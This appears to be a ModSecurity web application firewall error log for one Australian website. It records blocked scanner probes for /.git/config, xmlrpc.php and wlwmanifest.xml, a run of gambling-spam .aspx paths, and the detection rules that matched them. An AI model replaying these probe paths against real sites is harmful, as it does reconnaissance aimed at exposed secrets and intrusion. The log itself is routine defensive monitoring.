[Fri May 01 17:03:11.838654 2026] [:error] [pid 24996:tid 25044] [client 43.164.133.138:36290] [client 43.164.133.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afRsTyDBq9mMfUWQQeo3XAAAAI8"]
[Fri May 01 17:57:17.282761 2026] [:error] [pid 33791:tid 33808] [client 43.165.167.72:36562] [client 43.165.167.72] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afR4_W9ixd-moLycM9DahQAAAA4"]
[Fri May 01 18:23:51.392034 2026] [:error] [pid 24997:tid 25080] [client 111.230.233.46:57258] [client 111.230.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afR_N_OkHa4ScY5oo8y17AAAANg"]
[Fri May 01 18:34:42.302814 2026] [:error] [pid 33791:tid 33804] [client 34.123.236.48:51289] [client 34.123.236.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.123.236.48, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afSBwm9ixd-moLycM9Dm-gAAAAo"]
[Fri May 01 18:34:47.658879 2026] [:error] [pid 33791:tid 33804] [client 34.123.236.48:51289] [client 34.123.236.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "afSBx29ixd-moLycM9DnDwAAAAo"]
[Fri May 01 18:34:48.499351 2026] [:error] [pid 24995:tid 25000] [client 34.123.236.48:63631] [client 34.123.236.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "afSByOdJG9WB_Q_ne0ujbQAAAEE"]
[Fri May 01 18:34:49.471158 2026] [:error] [pid 33791:tid 33816] [client 34.123.236.48:56934] [client 34.123.236.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "afSByW9ixd-moLycM9DnFAAAABY"]
[Fri May 01 18:34:50.382962 2026] [:error] [pid 24996:tid 25029] [client 34.123.236.48:50310] [client 34.123.236.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "afSByiDBq9mMfUWQQepIqAAAAIE"]
[Fri May 01 18:34:51.224191 2026] [:error] [pid 25085:tid 25099] [client 34.123.236.48:58036] [client 34.123.236.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "afSBy_uD8fWRiE0RX0HwdQAAAUg"]
[Fri May 01 18:34:52.063461 2026] [:error] [pid 25085:tid 25096] [client 34.123.236.48:61625] [client 34.123.236.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "afSBzPuD8fWRiE0RX0HwdgAAAUU"]
[Fri May 01 18:34:52.899944 2026] [:error] [pid 24997:tid 25060] [client 34.123.236.48:59487] [client 34.123.236.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "afSBzPOkHa4ScY5oo8y5CwAAAMU"]
[Fri May 01 19:04:00.883825 2026] [:error] [pid 24995:tid 25017] [client 152.58.17.240:52266] [client 152.58.17.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.17.240, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afSIoOdJG9WB_Q_ne0unHQAAAFI"]
[Sat May 02 04:03:34.069645 2026] [:error] [pid 53436:tid 53516] [client 92.118.39.29:59062] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afUHFq9N0xp8fccVM0AXHgAAAJE"]
[Sat May 02 04:32:20.307503 2026] [:error] [pid 53436:tid 53512] [client 43.135.144.126:45812] [client 43.135.144.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afUN1K9N0xp8fccVM0AlYgAAAI0"]
[Sat May 02 07:04:57.036268 2026] [:error] [pid 53434:tid 53449] [client 92.118.39.29:46702] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afUxme9BXmRQcbfsxlzkrwAAAAY"]
[Sat May 02 07:10:14.982425 2026] [:error] [pid 53436:tid 53499] [client 175.178.110.121:34124] [client 175.178.110.121] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afUy1q9N0xp8fccVM0B0fQAAAIA"]
[Sat May 02 10:14:38.594891 2026] [:error] [pid 22846:tid 22862] [client 79.137.64.41:40560] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afVeDom1Ms03Mfhp3abJ5QAAAQ4"]
[Sat May 02 10:14:41.137305 2026] [:error] [pid 53435:tid 53486] [client 79.137.64.41:51840] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afVeEYDmp7_z8QkjSzNr2wAAAE4"]
[Sat May 02 10:14:43.599884 2026] [:error] [pid 21339:tid 21342] [client 79.137.64.41:51852] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afVeEwN2KhHZavn0Te10gQAAAYE"]
[Sat May 02 10:14:46.151602 2026] [:error] [pid 53435:tid 53482] [client 79.137.64.41:51864] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afVeFoDmp7_z8QkjSzNr4AAAAEo"]
[Sat May 02 10:14:48.595580 2026] [:error] [pid 22846:tid 22855] [client 79.137.64.41:51870] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afVeGIm1Ms03Mfhp3abJ5wAAAQc"]
[Sat May 02 10:14:51.196688 2026] [:error] [pid 53435:tid 53485] [client 79.137.64.41:40770] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afVeG4Dmp7_z8QkjSzNr6gAAAE0"]
[Sat May 02 10:14:53.789047 2026] [:error] [pid 53435:tid 53493] [client 79.137.64.41:40780] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afVeHYDmp7_z8QkjSzNr8QAAAFU"]
[Sat May 02 10:14:56.276072 2026] [:error] [pid 22846:tid 22868] [client 79.137.64.41:40796] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afVeIIm1Ms03Mfhp3abJ6wAAARQ"]
[Sat May 02 10:14:58.644082 2026] [:error] [pid 53436:tid 53513] [client 79.137.64.41:40800] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afVeIq9N0xp8fccVM0CX2QAAAI4"]
[Sat May 02 10:15:01.150921 2026] [:error] [pid 53435:tid 53487] [client 79.137.64.41:48536] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afVeJYDmp7_z8QkjSzNsAQAAAE8"]
[Sat May 02 10:15:03.735639 2026] [:error] [pid 53435:tid 53480] [client 79.137.64.41:48544] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afVeJ4Dmp7_z8QkjSzNsAwAAAEg"]
[Sat May 02 10:15:06.132535 2026] [:error] [pid 11894:tid 11917] [client 79.137.64.41:48560] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afVeKjHh6DQF1tkXIKyOjQAAAVQ"]
[Sat May 02 10:15:08.490407 2026] [:error] [pid 53540:tid 53554] [client 79.137.64.41:48574] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afVeLNQYV6qJFftBNynPuQAAAMw"]
[Sat May 02 10:15:10.935736 2026] [:error] [pid 53434:tid 53455] [client 79.137.64.41:36300] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afVeLu9BXmRQcbfsxlwaQAAAAAw"]
[Sat May 02 10:15:13.407777 2026] [:error] [pid 22846:tid 22868] [client 79.137.64.41:36310] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afVeMYm1Ms03Mfhp3abJ8wAAARQ"]
[Sat May 02 10:15:15.711844 2026] [:error] [pid 21339:tid 21363] [client 79.137.64.41:36314] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afVeMwN2KhHZavn0Te10mgAAAZY"]
[Sat May 02 10:15:18.210416 2026] [:error] [pid 21339:tid 21342] [client 79.137.64.41:36328] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afVeNgN2KhHZavn0Te10oAAAAYE"]
[Sat May 02 10:15:20.670917 2026] [:error] [pid 53436:tid 53508] [client 79.137.64.41:55458] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afVeOK9N0xp8fccVM0CX5QAAAIk"]
[Sat May 02 10:15:23.137377 2026] [:error] [pid 22846:tid 22849] [client 79.137.64.41:55464] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afVeO4m1Ms03Mfhp3abJ_gAAAQE"]
[Sat May 02 10:15:25.483536 2026] [:error] [pid 53436:tid 53514] [client 79.137.64.41:55472] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afVePa9N0xp8fccVM0CX6QAAAI8"]
[Sat May 02 10:15:27.792412 2026] [:error] [pid 53434:tid 53458] [client 79.137.64.41:55486] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afVeP-9BXmRQcbfsxlwaSgAAAA8"]
[Sat May 02 10:15:30.098567 2026] [:error] [pid 21339:tid 21365] [client 79.137.64.41:55500] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afVeQgN2KhHZavn0Te10qwAAAZg"]
[Sat May 02 10:15:32.549106 2026] [:error] [pid 21339:tid 21344] [client 79.137.64.41:57932] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "afVeRAN2KhHZavn0Te10rQAAAYM"]
[Sat May 02 10:15:35.005321 2026] [:error] [pid 11894:tid 11903] [client 79.137.64.41:57946] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "afVeRzHh6DQF1tkXIKyOmwAAAUY"]
[Sat May 02 10:15:56.273456 2026] [:error] [pid 21339:tid 21359] [client 79.137.64.41:57952] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afVeXAN2KhHZavn0Te10wQAAAZI"]
[Sat May 02 10:15:58.741804 2026] [:error] [pid 21339:tid 21346] [client 79.137.64.41:43338] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afVeXgN2KhHZavn0Te10wwAAAYU"]
[Sat May 02 10:16:01.249820 2026] [:error] [pid 53435:tid 53493] [client 79.137.64.41:32874] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "afVeYYDmp7_z8QkjSzNsHQAAAFU"]
[Sat May 02 10:16:03.719249 2026] [:error] [pid 21339:tid 21344] [client 79.137.64.41:32890] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "afVeYwN2KhHZavn0Te10xwAAAYM"]
[Sat May 02 10:16:06.223886 2026] [:error] [pid 53435:tid 53474] [client 79.137.64.41:32900] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "afVeZoDmp7_z8QkjSzNsJwAAAEI"]
[Sat May 02 10:16:08.895347 2026] [:error] [pid 53435:tid 53482] [client 79.137.64.41:32906] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "afVeaIDmp7_z8QkjSzNsLQAAAEo"]
[Sat May 02 10:16:11.521262 2026] [:error] [pid 53436:tid 53519] [client 79.137.64.41:55168] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afVea69N0xp8fccVM0CYAQAAAJQ"]
[Sat May 02 10:16:14.000586 2026] [:error] [pid 53435:tid 53489] [client 79.137.64.41:55184] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afVebYDmp7_z8QkjSzNsNAAAAFE"]
[Sat May 02 10:16:16.426775 2026] [:error] [pid 53540:tid 53549] [client 79.137.64.41:55200] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afVecNQYV6qJFftBNynPyAAAAMc"]
[Sat May 02 10:16:19.098702 2026] [:error] [pid 53540:tid 53551] [client 79.137.64.41:55212] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afVec9QYV6qJFftBNynPywAAAMk"]
[Sat May 02 10:16:21.560285 2026] [:error] [pid 53435:tid 53477] [client 79.137.64.41:59768] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afVedYDmp7_z8QkjSzNsQQAAAEU"]
[Sat May 02 10:16:24.077013 2026] [:error] [pid 53435:tid 53482] [client 79.137.64.41:59774] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afVeeIDmp7_z8QkjSzNsRQAAAEo"]
[Sat May 02 10:16:26.684041 2026] [:error] [pid 53435:tid 53488] [client 79.137.64.41:59782] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afVeeoDmp7_z8QkjSzNsSwAAAFA"]
